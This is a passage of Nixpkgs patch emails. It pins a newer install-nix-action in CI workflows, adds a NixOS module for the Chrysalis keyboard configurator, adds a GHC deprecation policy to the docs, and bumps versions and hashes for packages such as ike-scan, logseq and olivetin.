-      - uses: cachix/install-nix-action@526118121621777ccd86f79b04685a9319637641 # v31
+      - uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31
         with:
           extra_nix_config: sandbox = true
 
diff --git a/.github/workflows/check-shell.yml b/.github/workflows/check-shell.yml
index fc90a449fb34..03649bfd934d 100644
--- a/.github/workflows/check-shell.yml
+++ b/.github/workflows/check-shell.yml
@@ -42,7 +42,7 @@ jobs:
         with:
           merged-as-untrusted: true
 
-      - uses: cachix/install-nix-action@526118121621777ccd86f79b04685a9319637641 # v31
+      - uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31
 
       - uses: cachix/cachix-action@0fc020193b5a1fa3ac4575aa3a7d3aa6a35435ad # v16
         with:
diff --git a/.github/workflows/codeowners-v2.yml b/.github/workflows/codeowners-v2.yml
index b7f875cce01b..a857b1542263 100644
--- a/.github/workflows/codeowners-v2.yml
+++ b/.github/workflows/codeowners-v2.yml
@@ -55,7 +55,7 @@ jobs:
           merged-as-untrusted: true
           target-as-trusted: true
 
-      - uses: cachix/install-nix-action@526118121621777ccd86f79b04685a9319637641 # v31
+      - uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31
 
       - uses: cachix/cachix-action@0fc020193b5a1fa3ac4575aa3a7d3aa6a35435ad # v16
         with:
@@ -91,7 +91,7 @@ jobs:
     name: Request
     runs-on: ubuntu-24.04-arm
     steps:
-      - uses: cachix/install-nix-action@526118121621777ccd86f79b04685a9319637641 # v31
+      - uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31
 
       # Important: Because we use pull_request_target, this checks out the base branch of the PR, not the PR head.
       # This is intentional, because we need to request the review of owners as declared in the base branch.
diff --git a/.github/workflows/eval-aliases.yml b/.github/workflows/eval-aliases.yml
index 2d0a156a8cdf..451656a103ab 100644
--- a/.github/workflows/eval-aliases.yml
+++ b/.github/workflows/eval-aliases.yml
@@ -26,7 +26,7 @@ jobs:
           merged-as-untrusted: true
 
       - name: Install Nix
-        uses: cachix/install-nix-action@526118121621777ccd86f79b04685a9319637641 # v31
+        uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31
         with:
           extra_nix_config: sandbox = true
 
diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index 473f974a024b..bb99c0dfbc68 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -68,7 +68,7 @@ jobs:
           path: untrusted
 
       - name: Install Nix
-        uses: cachix/install-nix-action@526118121621777ccd86f79b04685a9319637641 # v31
+        uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31
         with:
           extra_nix_config: sandbox = true
 
@@ -180,7 +180,7 @@ jobs:
           path: trusted
 
       - name: Install Nix
-        uses: cachix/install-nix-action@526118121621777ccd86f79b04685a9319637641 # v31
+        uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31
         with:
           extra_nix_config: sandbox = true
 
diff --git a/.github/workflows/lib-tests.yml b/.github/workflows/lib-tests.yml
index f11dca13581d..710356d8b771 100644
--- a/.github/workflows/lib-tests.yml
+++ b/.github/workflows/lib-tests.yml
@@ -28,7 +28,7 @@ jobs:
         with:
           merged-as-untrusted: true
 
-      - uses: cachix/install-nix-action@526118121621777ccd86f79b04685a9319637641 # v31
+      - uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31
         with:
           extra_nix_config: sandbox = true
 
diff --git a/.github/workflows/manual-nixos-v2.yml b/.github/workflows/manual-nixos-v2.yml
index e76251838665..6d0b050fb3f8 100644
--- a/.github/workflows/manual-nixos-v2.yml
+++ b/.github/workflows/manual-nixos-v2.yml
@@ -45,7 +45,7 @@ jobs:
         with:
           merged-as-untrusted: true
 
-      - uses: cachix/install-nix-action@526118121621777ccd86f79b04685a9319637641 # v31
+      - uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31
         with:
           extra_nix_config: sandbox = true
 
diff --git a/.github/workflows/manual-nixpkgs-v2.yml b/.github/workflows/manual-nixpkgs-v2.yml
index d685cc8994d8..7fa628959c64 100644
--- a/.github/workflows/manual-nixpkgs-v2.yml
+++ b/.github/workflows/manual-nixpkgs-v2.yml
@@ -29,7 +29,7 @@ jobs:
         with:
           merged-as-untrusted: true
 
-      - uses: cachix/install-nix-action@526118121621777ccd86f79b04685a9319637641 # v31
+      - uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31
         with:
           extra_nix_config: sandbox = true
 
diff --git a/.github/workflows/nix-parse-v2.yml b/.github/workflows/nix-parse-v2.yml
index fa3ae5c2ac1a..201a9c8b48ca 100644
--- a/.github/workflows/nix-parse-v2.yml
+++ b/.github/workflows/nix-parse-v2.yml
@@ -26,7 +26,7 @@ jobs:
         with:
           merged-as-untrusted: true
 
-      - uses: cachix/install-nix-action@526118121621777ccd86f79b04685a9319637641 # v31
+      - uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31
         with:
           extra_nix_config: sandbox = true
           nix_path: nixpkgs=channel:nixpkgs-unstable
diff --git a/.github/workflows/nixpkgs-vet.yml b/.github/workflows/nixpkgs-vet.yml
index bc99e7333520..e8694cc68979 100644
--- a/.github/workflows/nixpkgs-vet.yml
+++ b/.github/workflows/nixpkgs-vet.yml
@@ -36,7 +36,7 @@ jobs:
           merged-as-untrusted: true
           target-as-trusted: true
 
-      - uses: cachix/install-nix-action@526118121621777ccd86f79b04685a9319637641 # v31
+      - uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31
 
       - name: Running nixpkgs-vet
         env:
diff --git a/.github/workflows/reviewers.yml b/.github/workflows/reviewers.yml
index a859ac70acb1..bf205a8b3890 100644
--- a/.github/workflows/reviewers.yml
+++ b/.github/workflows/reviewers.yml
@@ -34,7 +34,7 @@ jobs:
           sparse-checkout: ci
 
       - name: Install Nix
-        uses: cachix/install-nix-action@526118121621777ccd86f79b04685a9319637641 # v31
+        uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31
         with:
           extra_nix_config: sandbox = true
 

From b87b33e73f4fa591f359f0994786c0605fee693a Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 2 Jun 2025 15:50:32 +0200
Subject: [PATCH 0493/4511] ci/nixpkgs-vet: fix random errors

Every now and then, the nixpkgs-vet CI job currently fails with one of:

  error: creating symlink
'/build/.local/share/nix/root/nix/var/nix/gcroots/profiles' ->
'/build/.local/share/nix/root/nix/var/nix/profiles': File exists

  error: SQLite database
'/build/.local/share/nix/root/nix/var/nix/db/db.sqlite' is busy

It's hard to reproduce for me, so just taking a guess with the required
changes.

(cherry picked from commit 3dd14d8a5176e7a790e6eeeab7bfebd49c4b8eab)
---
 ci/nixpkgs-vet.nix | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/ci/nixpkgs-vet.nix b/ci/nixpkgs-vet.nix
index 1ceec363c347..ccc5ba289dcf 100644
--- a/ci/nixpkgs-vet.nix
+++ b/ci/nixpkgs-vet.nix
@@ -25,6 +25,8 @@ runCommand "nixpkgs-vet"
     env.NIXPKGS_VET_NIX_PACKAGE = nix;
   }
   ''
+    export NIX_STATE_DIR=$(mktemp -d)
+
     nixpkgs-vet --base ${filtered base} ${filtered head}
 
     touch $out

From dbd2143c0ba8079fe83b2312a582581468815099 Mon Sep 17 00:00:00 2001
From: Tali Auster <me@tali.network>
Date: Fri, 23 May 2025 11:49:06 -0600
Subject: [PATCH 0494/4511] nixos/chrysalis: init module

(cherry picked from commit b14a77638b78e34baa05153b6bf1931d0f634162)
---
 .../manual/release-notes/rl-2511.section.md   |  1 +
 nixos/modules/module-list.nix                 |  1 +
 nixos/modules/programs/chrysalis.nix          | 25 +++++++++++++++++++
 3 files changed, 27 insertions(+)
 create mode 100644 nixos/modules/programs/chrysalis.nix

diff --git a/nixos/doc/manual/release-notes/rl-2511.section.md b/nixos/doc/manual/release-notes/rl-2511.section.md
index 2520555784c5..a5c8dbec6474 100644
--- a/nixos/doc/manual/release-notes/rl-2511.section.md
+++ b/nixos/doc/manual/release-notes/rl-2511.section.md
@@ -11,6 +11,7 @@
 <!-- To avoid merge conflicts, consider adding your item at an arbitrary place in the list instead. -->
 
 - [gtklock](https://github.com/jovanlanik/gtklock), a GTK-based lockscreen for Wayland. Available as [programs.gtklock](#opt-programs.gtklock.enable).
+- [Chrysalis](https://github.com/keyboardio/Chrysalis), a graphical configurator for Kaleidoscope-powered keyboards. Available as [programs.chrysalis](#opt-programs.chrysalis.enable).
 
 ## Backward Incompatibilities {#sec-release-25.11-incompatibilities}
 
diff --git a/nixos/modules/module-list.nix b/nixos/modules/module-list.nix
index 4f6364341609..2b593ccc168d 100644
--- a/nixos/modules/module-list.nix
+++ b/nixos/modules/module-list.nix
@@ -180,6 +180,7 @@
   ./programs/cdemu.nix
   ./programs/cfs-zen-tweaks.nix
   ./programs/chromium.nix
+  ./programs/chrysalis.nix
   ./programs/clash-verge.nix
   ./programs/cnping.nix
   ./programs/command-not-found/command-not-found.nix
diff --git a/nixos/modules/programs/chrysalis.nix b/nixos/modules/programs/chrysalis.nix
new file mode 100644
index 000000000000..7fc473101123
--- /dev/null
+++ b/nixos/modules/programs/chrysalis.nix
@@ -0,0 +1,25 @@
+{
+  config,
+  lib,
+  pkgs,
+  ...
+}:
+
+let
+  cfg = config.programs.chrysalis;
+in
+{
+  options = {
+    programs.chrysalis = {
+      enable = lib.mkEnableOption "Chrysalis";
+      package = lib.mkPackageOption pkgs "Chrysalis" { default = "chrysalis"; };
+    };
+  };
+
+  config = lib.mkIf cfg.enable {
+    environment.systemPackages = [ cfg.package ];
+    services.udev.packages = [ cfg.package ];
+  };
+
+  meta.maintainers = with lib.maintainers; [ atalii ];
+}

From 027e9575bc223679c4901171a9e1fbd3d7b4c818 Mon Sep 17 00:00:00 2001
From: Fabian Affolter <mail@fabian-affolter.ch>
Date: Mon, 2 Jun 2025 15:04:59 +0200
Subject: [PATCH 0495/4511] ike-scan: 1.9.5 -> 1.9.5-unstable-2024-09-15

(cherry picked from commit 6dea73ebdc42d9f87068a3944d3d5033e4313867)
---
 pkgs/by-name/ik/ike-scan/package.nix | 26 +++++++++++++-------------
 1 file changed, 13 insertions(+), 13 deletions(-)

diff --git a/pkgs/by-name/ik/ike-scan/package.nix b/pkgs/by-name/ik/ike-scan/package.nix
index 754ab2afa6c5..903dcd2003e7 100644
--- a/pkgs/by-name/ik/ike-scan/package.nix
+++ b/pkgs/by-name/ik/ike-scan/package.nix
@@ -9,15 +9,24 @@
 
 stdenv.mkDerivation rec {
   pname = "ike-scan";
-  version = "1.9.5";
+  version = "1.9.5-unstable-2024-09-15";
 
   src = fetchFromGitHub {
     owner = "royhills";
     repo = "ike-scan";
-    rev = version;
-    sha256 = "sha256-mbfg8p3y4aKoXpmLuF9GXAMPEqV5CsvetwGCRDJ9UNY=";
+    rev = "c74c01fd22d9a3aae3d8ba9a0bd2eb1a2146ac6f";
+    hash = "sha256-+eicvirqzZrAJiaGaVjqZlSpU2+jTG/MRPv50P+1Tpc=";
   };
 
+  patches = [
+    # Using the same patches as for the Fedora RPM
+    (fetchpatch {
+      # Memory leaks, https://github.com/royhills/ike-scan/pull/15
+      url = "https://github.com/royhills/ike-scan/pull/15/commits/d864811de08dcddd65ac9b8d0f2acf5d7ddb9dea.patch";
+      hash = "sha256-VVJZSTZfDV0qHuxdNoZV1NXJYCEMtB0bO1oi2hLCeXE=";
+    })
+  ];
+
   nativeBuildInputs = [
     autoreconfHook
     openssl
@@ -25,15 +34,6 @@ stdenv.mkDerivation rec {
 
   configureFlags = [ "--with-openssl=${openssl.dev}" ];
 
-  patches = [
-    # Using the same patches as for the Fedora RPM
-    (fetchpatch {
-      # Memory leaks, https://github.com/royhills/ike-scan/pull/15
-      url = "https://github.com/royhills/ike-scan/pull/15/commits/d864811de08dcddd65ac9b8d0f2acf5d7ddb9dea.patch";
-      sha256 = "0wbrq89dl8js7cdivd0c45hckmflan33cpgc3qm5s3az6r4mjljm";
-    })
-  ];
-
   meta = with lib; {
     description = "Tool to discover, fingerprint and test IPsec VPN servers";
     longDescription = ''
@@ -41,7 +41,7 @@ stdenv.mkDerivation rec {
       fingerprint and test IPsec VPN servers.
     '';
     homepage = "https://github.com/royhills/ike-scan";
-    license = with licenses; [ gpl3Plus ];
+    license = licenses.gpl3Plus;
     platforms = platforms.linux;
     maintainers = with maintainers; [ fab ];
   };

From 0f3e4d08d0729bd79b6b3211e265e656fb69f318 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 2 Jun 2025 17:58:24 +0200
Subject: [PATCH 0496/4511] workflows/check-cherry-picks: minimize more than
 one old review

After we removed the dismissed-review workflow, it can happen that
multiple non-minimized reviews exist after a force push. To avoid
cluttering the PR's history while it's actively worked on, we minimize
all of them instead of only the latest.

(cherry picked from commit 82c6ea2ddc9a2d59c8c765f76bee8141d051f71c)
---
 .github/workflows/check-cherry-picks.yml | 19 ++++++++++---------
 1 file changed, 10 insertions(+), 9 deletions(-)

diff --git a/.github/workflows/check-cherry-picks.yml b/.github/workflows/check-cherry-picks.yml
index b7d914caffdc..77aafd9f0ff2 100644
--- a/.github/workflows/check-cherry-picks.yml
+++ b/.github/workflows/check-cherry-picks.yml
@@ -115,16 +115,17 @@ jobs:
                 repo: context.repo.repo,
                 pull_number: context.payload.pull_request.number
               })).filter(review =>
-                review.user.login == 'github-actions[bot]' &&
-                review.state == 'CHANGES_REQUESTED'
+                review.user.login == 'github-actions[bot]'
               ).map(async (review) => {
-                await github.rest.pulls.dismissReview({
-                  owner: context.repo.owner,
-                  repo: context.repo.repo,
-                  pull_number: context.payload.pull_request.number,
-                  review_id: review.id,
-                  message: 'All cherry-picks are good now, thank you!'
-                })
+                if (review.state == 'CHANGES_REQUESTED') {
+                  await github.rest.pulls.dismissReview({
+                    owner: context.repo.owner,
+                    repo: context.repo.repo,
+                    pull_number: context.payload.pull_request.number,
+                    review_id: review.id,
+                    message: 'All cherry-picks are good now, thank you!'
+                  })
+                }
                 await github.graphql(`mutation($node_id:ID!) {
                   minimizeComment(input: {
                     classifier: RESOLVED,

From 41e8c2ad65a22dd945ee1641c5131dc8a7119ff9 Mon Sep 17 00:00:00 2001
From: maralorn <mail@maralorn.de>
Date: Wed, 21 May 2025 20:41:53 +0200
Subject: [PATCH 0497/4511] doc/haskell: Add GHC deprecation policy

(cherry picked from commit a5bbc5046bdb5be452c7d9e0b844a012468a6291)
---
 doc/languages-frameworks/haskell.section.md | 21 +++++++++++++++++++++
 doc/redirects.json                          |  9 +++++++++
 2 files changed, 30 insertions(+)

diff --git a/doc/languages-frameworks/haskell.section.md b/doc/languages-frameworks/haskell.section.md
index 0e0d44114971..7da9580e2045 100644
--- a/doc/languages-frameworks/haskell.section.md
+++ b/doc/languages-frameworks/haskell.section.md
@@ -161,6 +161,27 @@ completely incompatible with packages from `haskellPackages`.
 
 <!-- TODO(@maralorn) Link to package set generation docs in the contributors guide below. -->
 
+### GHC Deprecation Policy {#ghc-deprecation-policy}
+
+We remove GHC versions according to the following policy:
+
+#### Major GHC versions {#major-ghc-deprecation}
+
+We keep the following GHC major versions:
+1. The current Stackage LTS as the default and all later major versions.
+2. The two latest major versions older than our default.
+3. The currently recommended GHCup version and all later major versions.
+
+Older GHC versions might be kept longer, if there are in-tree consumers. We will coordinate with the maintainers of those dependencies to find a way forward.
+
+#### Minor GHC versions {#minor-ghc-deprecation}
+
+Every major version has a default minor version. The default minor version will be updated as soon as viable without breakage.
+
+Older minor versions for a supported major version will only be kept, if they are the last supported version of a major Stackage LTS release.
+
+<!-- Policy introduced here: https://discourse.nixos.org/t/nixpkgs-ghc-deprecation-policy-user-feedback-necessary/64153 -->
+
 ## `haskellPackages.mkDerivation` {#haskell-mkderivation}
 
 Every haskell package set has its own haskell-aware `mkDerivation` which is used
diff --git a/doc/redirects.json b/doc/redirects.json
index e734551c133f..69898bcf52ca 100644
--- a/doc/redirects.json
+++ b/doc/redirects.json
@@ -37,9 +37,18 @@
   "ex-testEqualArrayOrMap-test-function-add-cowbell": [
     "index.html#ex-testEqualArrayOrMap-test-function-add-cowbell"
   ],
+  "ghc-deprecation-policy": [
+    "index.html#ghc-deprecation-policy"
+  ],
   "inkscape-plugins": [
     "index.html#inkscape-plugins"
   ],
+  "major-ghc-deprecation": [
+    "index.html#major-ghc-deprecation"
+  ],
+  "minor-ghc-deprecation": [
+    "index.html#minor-ghc-deprecation"
+  ],
   "neovim": [
     "index.html#neovim"
   ],

From ac09074c785fd7518df2b7dfc9b4383cb32989c3 Mon Sep 17 00:00:00 2001
From: TomaSajt <62384384+TomaSajt@users.noreply.github.com>
Date: Fri, 9 May 2025 21:02:24 +0200
Subject: [PATCH 0498/4511] logseq: 0.10.9-unstable-2025-03-11 -> 0.10.12

(cherry picked from commit a26c64323a1391218cf64fe580bfaac5b43678cf)
---
 pkgs/by-name/lo/logseq/package.nix | 11 +++++------
 1 file changed, 5 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/lo/logseq/package.nix b/pkgs/by-name/lo/logseq/package.nix
index dccb3963563e..924684fcd911 100644
--- a/pkgs/by-name/lo/logseq/package.nix
+++ b/pkgs/by-name/lo/logseq/package.nix
@@ -5,7 +5,6 @@
   fetchFromGitHub,
   fetchYarnDeps,
   replaceVars,
-  runCommand,
   writeShellScriptBin,
 
   copyDesktopItems,
@@ -26,13 +25,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "logseq";
-  version = "0.10.9-unstable-2025-03-11";
+  version = "0.10.12";
 
   src = fetchFromGitHub {
     owner = "logseq";
     repo = "logseq";
-    rev = "ac0a0dae727c46b348d0f1410138d5e49d446692";
-    hash = "sha256-esCB51BeWnni/JFL4yMKcJj5lka2+hLpcvWGify0T2o=";
+    tag = finalAttrs.version;
+    hash = "sha256-SUzt4hYHE6XJOEMxFp2a0om2oVUk1MHQUteGFiM9Lkc=";
   };
 
   patches = [
@@ -98,7 +97,7 @@ stdenv.mkDerivation (finalAttrs: {
   yarnOfflineCacheRoot = fetchYarnDeps {
     name = "logseq-${finalAttrs.version}-yarn-deps-root";
     inherit (finalAttrs) src;
-    hash = "sha256-z4G675kxfpmG2AJlbK5bfeUUgX7jz1ys2FlMNHJqrQ4=";
+    hash = "sha256-sbC6WQLjEHIKTuejSQXplQOWZwUmBJdGXuAkilQGjYs=";
   };
 
   # ./static and ./resources are combined into ./static by the build process
@@ -107,7 +106,7 @@ stdenv.mkDerivation (finalAttrs: {
     name = "logseq-${finalAttrs.version}-yarn-deps-static-resources";
     inherit (finalAttrs) src;
     sourceRoot = "${finalAttrs.src.name}/static";
-    hash = "sha256-xuZj2EKHxvkiDPKMLh3ZSvLT54k+buHqg9lRTFv8rNI=";
+    hash = "sha256-01t6lolMbBL5f6SFk4qTkTx6SQXWtHuVkBhDwW+HScc=";
   };
 
   yarnOfflineCacheAmplify = fetchYarnDeps {

From 023f9a042bad1f4dfabf4e5bc1f1a706567cf30e Mon Sep 17 00:00:00 2001
From: TomaSajt <62384384+TomaSajt@users.noreply.github.com>
Date: Fri, 9 May 2025 21:03:40 +0200
Subject: [PATCH 0499/4511] logseq: sign binaries on darwin

(cherry picked from commit 3aa48f544044c8a9b9cfa10c42d7e1a3d27725f7)
---
 pkgs/by-name/lo/logseq/package.nix | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/pkgs/by-name/lo/logseq/package.nix b/pkgs/by-name/lo/logseq/package.nix
index 924684fcd911..fb243ffb49c2 100644
--- a/pkgs/by-name/lo/logseq/package.nix
+++ b/pkgs/by-name/lo/logseq/package.nix
@@ -10,6 +10,7 @@
   copyDesktopItems,
   cctools,
   clojure,
+  darwin,
   makeDesktopItem,
   makeWrapper,
   nodejs,
@@ -150,6 +151,7 @@ stdenv.mkDerivation (finalAttrs: {
     ]
     ++ lib.optionals stdenv.hostPlatform.isDarwin [
       cctools
+      darwin.autoSignDarwinBinariesHook
       xcbuild
     ];
 

From a73184b81f7b2fb2a06a9aca3285560f1b8a95e9 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Mon, 2 Jun 2025 22:36:19 +0000
Subject: [PATCH 0500/4511] alertmanager-ntfy: 0-unstable-2025-05-04 ->
 0-unstable-2025-05-31

(cherry picked from commit 6e49a56258a976d8ff645d15a00104533639fe82)
---
 pkgs/by-name/al/alertmanager-ntfy/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/al/alertmanager-ntfy/package.nix b/pkgs/by-name/al/alertmanager-ntfy/package.nix
index be0d1e4a35a9..c3e2db5b5345 100644
--- a/pkgs/by-name/al/alertmanager-ntfy/package.nix
+++ b/pkgs/by-name/al/alertmanager-ntfy/package.nix
@@ -8,13 +8,13 @@
 
 buildGoModule {
   pname = "alertmanager-ntfy";
-  version = "0-unstable-2025-05-04";
+  version = "0-unstable-2025-05-31";
 
   src = fetchFromGitHub {
     owner = "alexbakker";
     repo = "alertmanager-ntfy";
-    rev = "f05e3c029bab3bdfb9aefbddbfc6bd9c7d4aa80f";
-    hash = "sha256-rKCJnffsBEXmTg2s0nqQf8BuHQnSgcwVBhC7gRzg4ew=";
+    rev = "76d5f772f70d6915c89da00414c20009b03cc361";
+    hash = "sha256-newJ1fCMEE3gsZncWU899Q6cS6llPNwJlHT7HdLQZf8=";
   };
 
   vendorHash = "sha256-e1JAoDNm2+xB/bZcEGr5l4+va8GIg1R8pdj3d+/Y+UY=";

From b44af8a9ef9f7c104c5f70be6ebda0dd2f2d54e4 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Mon, 2 Jun 2025 22:36:03 +0000
Subject: [PATCH 0501/4511] clorinde: 0.15.1 -> 0.15.2

(cherry picked from commit b3168f37d27d0d16b8acfc9fa55cb882d7e4be6a)
---
 pkgs/by-name/cl/clorinde/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/cl/clorinde/package.nix b/pkgs/by-name/cl/clorinde/package.nix
index 981fd2cf1b14..f56be8024eef 100644
--- a/pkgs/by-name/cl/clorinde/package.nix
+++ b/pkgs/by-name/cl/clorinde/package.nix
@@ -8,17 +8,17 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "clorinde";
-  version = "0.15.1";
+  version = "0.15.2";
 
   src = fetchFromGitHub {
     owner = "halcyonnouveau";
     repo = "clorinde";
     tag = "clorinde-v${finalAttrs.version}";
-    hash = "sha256-Ynz1pdgckQzMLuUJUGSzNRNwWZKrEZuYgrrT/BxAxzc=";
+    hash = "sha256-CrgJtgFX5RBNfFFr2ZZ0d3oKfryyLAHva7g2JyBFiB8=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-g3pWvoTq1DlKlIDJq79IJrvDiLR0HZRPIt4K1YUPsvM=";
+  cargoHash = "sha256-jUtkhOAosrxHGRbAdzdrgLzL5Xp2YhxcrG/dcwUhdLg=";
 
   cargoBuildFlags = [ "--package=clorinde" ];
 

From f69ab0ec8c462152d63b3123199594bca7963355 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Mon, 2 Jun 2025 22:32:02 +0000
Subject: [PATCH 0502/4511] olivetin: 2025.5.26 -> 2025.6.1

(cherry picked from commit a24e9579d6dd1f70b261dcebb9a47d873efd19f2)
---
 pkgs/by-name/ol/olivetin/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ol/olivetin/package.nix b/pkgs/by-name/ol/olivetin/package.nix
index 38833afae1ea..e39081ae01fa 100644
--- a/pkgs/by-name/ol/olivetin/package.nix
+++ b/pkgs/by-name/ol/olivetin/package.nix
@@ -81,18 +81,18 @@ buildGoModule (
 
   {
     pname = "olivetin";
-    version = "2025.5.26";
+    version = "2025.6.1";
 
     src = fetchFromGitHub {
       owner = "OliveTin";
       repo = "OliveTin";
       tag = finalAttrs.version;
-      hash = "sha256-BD52MxIHE56y3oWuRTCYmrEYMge70/MXt4B6g84ahF0=";
+      hash = "sha256-Bd+zxVEhP7LZk74Mfai/MkML1pKlPBKm4kh4jAkC/kQ=";
     };
 
     modRoot = "service";
 
-    vendorHash = "sha256-kfk4QFG+l+XKkKoOs2C1B6ZuMeeDz9DrzzR46S8Qnyk=";
+    vendorHash = "sha256-8rPJoB75de2Y56iyIwdI9HPk7OlCgfMPy28TW1i7+sU=";
 
     ldflags = [
       "-s"

From ad375cea9c5d718fda8abc0762116632c771dd05 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Mon, 2 Jun 2025 22:31:04 +0000
Subject: [PATCH 0503/4511] synapse-admin-etkecc: 0.11.0-etke42 ->
 0.11.1-etke43

(cherry picked from commit b833b49732d8d57c2833295219109f993f42753c)
---
 pkgs/by-name/sy/synapse-admin-etkecc/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/sy/synapse-admin-etkecc/package.nix b/pkgs/by-name/sy/synapse-admin-etkecc/package.nix
index 4937bca343f3..01e3c58d2206 100644
--- a/pkgs/by-name/sy/synapse-admin-etkecc/package.nix
+++ b/pkgs/by-name/sy/synapse-admin-etkecc/package.nix
@@ -17,18 +17,18 @@ assert lib.asserts.assertMsg (
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "synapse-admin-etkecc";
-  version = "0.11.0-etke42";
+  version = "0.11.1-etke43";
 
   src = fetchFromGitHub {
     owner = "etkecc";
     repo = "synapse-admin";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-HWhyG/dVP9M84OOYH95RPLqiXDYOs+QOxwLM8pPl1vA=";
+    hash = "sha256-mubONaT4qnbPlnYY15UtHGEp45k5mIxWt1shHRdwwTA=";
   };
 
   yarnOfflineCache = fetchYarnDeps {
     yarnLock = finalAttrs.src + "/yarn.lock";
-    hash = "sha256-GO5m+7fcm/XO38XlsQq6fwKslzdZkE6WleP3GHNKuPU=";
+    hash = "sha256-WFE2mtyK3xBOVIgJ0ODsv1C0pjpGdBM3+TtIiZUpj58=";
   };
 
   nativeBuildInputs = [

From 7494140946f0ea4cbffcab64173599403746bbd7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Robert=20Sch=C3=BCtz?= <nix@dotlambda.de>
Date: Mon, 2 Jun 2025 17:16:49 -0700
Subject: [PATCH 0504/4511] animdl: unpin cssselect

(cherry picked from commit 9441c5dc561fb8c06d7910141a6dea8737848828)
---
 pkgs/applications/video/animdl/default.nix | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/pkgs/applications/video/animdl/default.nix b/pkgs/applications/video/animdl/default.nix
index 3c0fe37dd062..ca7e3abec0ed 100644
--- a/pkgs/applications/video/animdl/default.nix
+++ b/pkgs/applications/video/animdl/default.nix
@@ -21,7 +21,7 @@
 buildPythonApplication {
   pname = "animdl";
   version = "1.7.27";
-  format = "pyproject";
+  pyproject = true;
 
   src = fetchFromGitHub {
     owner = "justfoolingaround";
@@ -34,7 +34,9 @@ buildPythonApplication {
   pythonRemoveDeps = [
     "comtypes" # windows only
   ];
+
   pythonRelaxDeps = [
+    "cssselect"
     "httpx"
     "lxml"
     "packaging"
@@ -45,10 +47,11 @@ buildPythonApplication {
     "yarl"
   ];
 
-  nativeBuildInputs = [
+  build-system = [
     poetry-core
   ];
-  propagatedBuildInputs = [
+
+  dependencies = [
     anchor-kr
     anitopy
     click

From a261f9d0c52d0d2ceb431039fbba911898281575 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Robert=20Sch=C3=BCtz?= <nix@dotlambda.de>
Date: Mon, 2 Jun 2025 17:20:15 -0700
Subject: [PATCH 0505/4511] animdl: move to pkgs/by-name

(cherry picked from commit 0726017b4fcf2bece2d8702a6300092589ef57ab)
---
 .../an/animdl/package.nix}                    | 23 ++++---------------
 pkgs/top-level/all-packages.nix               |  2 --
 2 files changed, 4 insertions(+), 21 deletions(-)
 rename pkgs/{applications/video/animdl/default.nix => by-name/an/animdl/package.nix} (82%)

diff --git a/pkgs/applications/video/animdl/default.nix b/pkgs/by-name/an/animdl/package.nix
similarity index 82%
rename from pkgs/applications/video/animdl/default.nix
rename to pkgs/by-name/an/animdl/package.nix
index ca7e3abec0ed..28a2ecab20fd 100644
--- a/pkgs/applications/video/animdl/default.nix
+++ b/pkgs/by-name/an/animdl/package.nix
@@ -1,24 +1,9 @@
 {
   lib,
-  buildPythonApplication,
   fetchFromGitHub,
-  poetry-core,
-  anchor-kr,
-  anitopy,
-  click,
-  cssselect,
-  httpx,
-  lxml,
-  packaging,
-  pkginfo,
-  pycryptodomex,
-  pyyaml,
-  regex,
-  rich,
-  tqdm,
-  yarl,
+  python3Packages,
 }:
-buildPythonApplication {
+python3Packages.buildPythonApplication {
   pname = "animdl";
   version = "1.7.27";
   pyproject = true;
@@ -47,11 +32,11 @@ buildPythonApplication {
     "yarl"
   ];
 
-  build-system = [
+  build-system = with python3Packages; [
     poetry-core
   ];
 
-  dependencies = [
+  dependencies = with python3Packages; [
     anchor-kr
     anitopy
     click
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index ad800ead8ce3..8f5fe3c98a04 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -16973,8 +16973,6 @@ with pkgs;
 
